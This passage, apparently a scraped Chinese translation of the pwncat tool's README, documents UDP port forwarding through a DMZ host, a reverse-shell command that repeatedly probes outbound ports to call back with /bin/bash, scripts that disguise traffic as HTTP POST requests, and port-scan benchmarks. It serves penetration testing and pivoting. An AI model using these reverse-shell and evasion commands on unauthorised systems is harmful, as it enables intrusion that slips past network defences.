INFO: [bind-sock] TCP: TCP_WINDOW_CLAMP: 0
INFO: [bind-sock] TCP: TCP_INFO: 10
INFO: [bind-sock] TCP: TCP_QUICKACK: 1
INFO: [bind-sock] TCP: TCP_FASTOPEN: 0
场景
#### 本地 UDP 端口转发
**场景**
1. 可以从外部访问 Alice(但仅通过 UDP)
2. 只能从 Alice 的机器访问 Bob```
| |
Outside | DMZ | private subnet
| |
| |
+-----------------+ UDP +-----------------+ TCP +-----------------+
| The cat | -----|----> | Alice | -----|----> | Bob |
| | | | pwncat -L | | | MySQL |
| 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 |
+-----------------+ | +-----------------+ | +-----------------+
pwncat -u 72.0.0.1 3306 | pwncat -u \ |
| -L 72.0.0.1:3306 \ |
| 10.0.0.1 3306 |
场景
#### 远程UDP端口转发
**场景**
1. Alice 无法从外部访问
2. Alice 允许连接到外部(仅限UDP:DNS)
3. Bob 只能通过Alice的机器访问```
| |
Outside | DMZ | private subnet
| |
| |
+-----------------+ UDP +-----------------+ TCP +-----------------+
| The cat | <----|----- | Alice | -----|----> | Bob |
| | | | pwncat | | | MySQL |
| 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 |
+-----------------+ | +-----------------+ | +-----------------+
pwncat -u -l 53 | pwncat -u --reconn \ |
| -R 56.0.0.1:4444 \ |
| 10.0.0.1 3306 |
如果你不知道目标机器允许哪些出站端口,你可以指示客户端(例如:在反向 shell 的情况下)不断探测出站端口。```bash
pwncat --exec /bin/bash --reconn --reconn-wait 0.1 --reconn-robin 54-1024 10 10.0.0.1 53
一旦客户端启动并运行,要么使用原始套接字检查入站流量,要么使用 Wireshark 或 tcpdump 等工具找出客户端能够回连到你的位置,
如果你发现客户端能够连接到一个或多个端口,只需在本地启动监听器并等待它回连即可。```bash
pwncat -l <ip> <port>
如果客户端连接到您,您将获得一个可工作的反向 Shell。如果您意外或故意停止本地监听服务器,客户端将重新探测端口,直到成功连接。要终止反向 Shell 客户端,您可以使用 --safe-word(在启动客户端时)。
如果以上方法均无效,您可以添加其他措施,例如使用 UDP 甚至将您的数据包封装到更高级别的协议中,例如 HTTP 等。请参阅 PSE 或下面的示例,了解如何转换您的流量。
pwncat 提供了一个基于 Python 的脚本引擎,用于在发送数据和接收数据后注入自定义代码。
您只需提供一个包含以下入口函数的 Python 文件:```python def transform(data, pse): # Example to reverse a string return data[::-1]
函数名称必须命名为 `transform`,且解析的参数必须命名为 `data` 和 `pse`。
除此之外,你可以根据需要添加任意数量的代码。每个 `pwncat` 实例可以接受两个脚本:
1. `--script-send`:在发送前应用的脚本
2. `--script-recv`:在接收后应用的脚本
有关 API 和更多详细信息,请参见[此处](https://github.com/cytopia/pwncat/blob/HEAD/pse)。
#### 示例 1:自建非对称加密
> PSE:[asym-enc](https://github.com/cytopia/pwncat/blob/HEAD/pse/asym-enc) 源代码
这将非对称地加密你的流量。它只是一个非常基础的 [ROT13](https://en.wikipedia.org/wiki/ROT13) 实现,在两侧使用不同的移位长度来*模拟*非对称性。你可以做同样的事情,并为 PSE 实现基于 GPG 的非对称加密。```bash
# server
pwncat -vvvv -l localhost 4444 \
--script-send pse/asym-enc/pse-asym_enc-server_send.py \
--script-recv pse/asym-enc/pse-asym_enc-server_recv.py
# client
pwncat -vvvv localhost 4444 \
--script-send pse/asym-enc/pse-asym_enc-client_send.py \
--script-recv pse/asym-enc/pse-asym_enc-client_recv.py
PSE: http-post 源代码
这将把所有流量包装成一个合法的HTTP POST请求,使其看起来像正常的HTTP流量。```bash
pwncat -vvvv -l localhost 4444
--script-send pse/http-post/pse-http_post-pack.py
--script-recv pse/http-post/pse-http_post-unpack.py
```bash
# client
pwncat -vvvv localhost 4444 \
--script-send pse/http-post/pse-http_post-pack.py \
--script-recv pse/http-post/pse-http_post-unpack.py
$ sudo netstat -tlpn Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:4444 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:902 0.0.0.0:* LISTEN tcp6 0 0 ::1:631 :::* LISTEN tcp6 0 0 ::1:25 :::* LISTEN tcp6 0 0 ::1:4444 :::* LISTEN tcp6 0 0 :::1053 :::* LISTEN tcp6 0 0 :::902 :::* LISTEN
#### UDP
以下UDP端口正在暴露:```bash
$ sudo netstat -ulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address
udp 0 0 0.0.0.0:631 0.0.0.0:*
udp 0 0 0.0.0.0:5353 0.0.0.0:*
udp 0 0 0.0.0.0:39856 0.0.0.0:*
udp 0 0 0.0.0.0:68 0.0.0.0:*
udp 0 0 0.0.0.0:68 0.0.0.0:*
udp6 0 0 :::1053 :::*
udp6 0 0 :::5353 :::*
udp6 0 0 :::57728 :::*
$ time sudo nmap -T5 localhost --version-intensity 0 -p- -sU Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-24 17:03 CEST Warning: 127.0.0.1 giving up on port because retransmission cap hit (2). Nmap scan report for localhost (127.0.0.1) Host is up (0.000035s latency). Other addresses for localhost (not scanned): ::1 Not shown: 65529 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 631/udp open|filtered ipp 1053/udp open|filtered remote-as 5353/udp open|filtered zeroconf 39856/udp open|filtered unknown 40488/udp open|filtered unknown
Nmap done: 1 IP address (1 host up) scanned in 179.15 seconds
real 2m52.446s user 0m0.844s sys 0m2.571s
##### netcat```bash
$ time nc -z localhost 1-65535 -u -4 -v
Connection to localhost 68 port [udp/bootpc] succeeded!
Connection to localhost 631 port [udp/ipp] succeeded!
Connection to localhost 1053 port [udp/*] succeeded!
Connection to localhost 5353 port [udp/mdns] succeeded!
Connection to localhost 39856 port [udp/*] succeeded!
real 0m18.734s
user 0m1.004s
sys 0m2.634s
$ time pwncat -z localhost 1-65535 -u -4 Scanning 65535 ports [+] 68/UDP open (IPv4) [+] 631/UDP open (IPv4) [+] 1053/UDP open (IPv4) [+] 5353/UDP open (IPv4) [+] 39856/UDP open (IPv4)
real 0m7.309s user 0m6.465s sys 0m4.794s
## :information_source: 常见问题
**完整FAQ请见此处:** https://docs.pwncat.org/en/latest/faq.html
**问:** `pwncat` 与 `netcat` 兼容吗?
**答:** 是的,在连接、监听和零I/O模式下完全兼容。
你甚至可以将 `pwncat` 与 `netcat`、`ncat` 或类似工具混用。
**问:** 它在 X 上能工作吗?
**答:** 当前状态下,它支持 Python 2、3、pypy2 和 pypy3,并在 Linux 和 macOS 上经过全面测试。Windows 支持已可用,但被视为实验性(见[集成测试](https://github.com/cytopia/pwncat/actions))。
**问:** 我发现了一个漏洞/我想提一个新功能建议!该怎么办?
**答:** 对于错误报告或功能增强,请在此处提交 issue:[这里](https://github.com/cytopia/pwncat/issues)。
**问:** 我该如何支持这个项目?
**答:** 感谢你的关心!首先,请给这个项目点个 star 以给我一些反馈,并查看 [CONTRIBUTING.md](https://github.com/cytopia/pwncat/blob/HEAD/CONTRIBUTING.md) 了解详情。
## :sunrise: 艺术作品
<table>
<thead>
<tr>
<th>类型</th>
<th>艺术家</th>
<th>图片</th>
<th>许可协议</th>
</tr>
</thead>
<tbody>
<tr>
<td>标志</td>
<td><a href="https://github.com/maifz">maifz</a></td>
<td><a href="art/logo.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/a1b54927c2019b933f6e456079c612aff45d525e69c6058199d8fe049916146f.png" style="height:128px;" height="128" alt="pwncat logo" title="pwncat logo" /></a></td>
<td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
</tr>
<tr>
<td>横幅 1</td>
<td><a href="https://github.com/maifz">maifz</a></td>
<td><a href="art/banner-1.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/51461eddf94bb0ed53b8d28478113978cf87ea31e645b2afc8e1783053e8bafc.png" style="height:128px;" height="128" alt="pwncat banner" title="pwncat banner" /></a></td>
<td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
</tr>
<tr>
<td>横幅 2</td>
<td><a href="https://github.com/maifz">maifz</a></td>
<td><a href="art/banner-2.png"><img src="https://assets.kitploit.com/production/public/readmes/5318/1deb2e118b970b2b974f682e9ef087bbc5cc9c18674b5d4cbbdf967885d119c9.png" style="height:128px;" height="128" alt="pwncat banner" title="pwncat banner" /></a></td>
<td><a href="https://creativecommons.org/licenses/by-sa/4.0/"><img src="https://assets.kitploit.com/production/public/readmes/5318/acde67df4b37d9df101d6555c669c258cea69750bc84ae2051ebec0970f706c8.png" /></a></td>
</tr>
</tbody>
</table>
## :lock: [cytopia](https://github.com/cytopia) 安全工具
以下是我维护的安全工具和文档列表。
| 名称 | 类别 | 语言 | 描述 |
|---------------------|---------------------|-------------|------|
| **[offsec]** | 文档 | Markdown | 安全测试清单、工具和示例 |
| **[header-fuzz]** | 枚举 | Bash | 模糊测试HTTP头 |
| **[smtp-user-enum]**| 枚举 | Python 2+3 | SMTP用户枚举器 |
| **[urlbuster]** | 枚举 | Python 2+3 | 可变的Web目录模糊器 |
| **[pwncat]** | 跳板 | Python 2+3 | 跨平台的增强版netcat |
| **[kusanagi]** | Payload生成器 | Python 3 | 绑定和反向Shell payload生成器 |
| **[badchars]** | 逆向工程 | Python 2+3 | 坏字符生成器 |
| **[fuzza]** | 逆向工程 | Python 2+3 | TCP模糊测试工具 |
| **[docker-dvwa]** | 实验环境 | PHP | 包含本地提权挑战的DVWA |
[offsec]: https://github.com/cytopia/offsec
[header-fuzz]: https://github.com/cytopia/header-fuzz
[smtp-user-enum]: https://github.com/cytopia/smtp-user-enum
[urlbuster]: https://github.com/cytopia/urlbuster
[pwncat]: https://github.com/cytopia/pwncat
[kusanagi]: https://github.com/cytopia/kusanagi
[badchars]: https://github.com/cytopia/badchars
[fuzza]: https://github.com/cytopia/fuzza
[docker-dvwa]: https://github.com/cytopia/docker-dvwa
## :octocat: 贡献
请参阅 **[贡献指南](https://github.com/cytopia/pwncat/blob/HEAD/CONTRIBUTING.md)** 以帮助改进本项目。
## :exclamation: 免责声明
本工具仅可用于合法目的。用户对本工具使用所导致的所有行为承担全部责任。作者不对本工具造成的任何损害承担责任。如果你不接受这些条款,请不要使用本工具。
## :page_facing_up: 许可协议
**[MIT License](https://github.com/cytopia/pwncat/blob/HEAD/LICENSE.txt)**
Copyright (c) 2020 **[cytopia](https://github.com/cytopia)**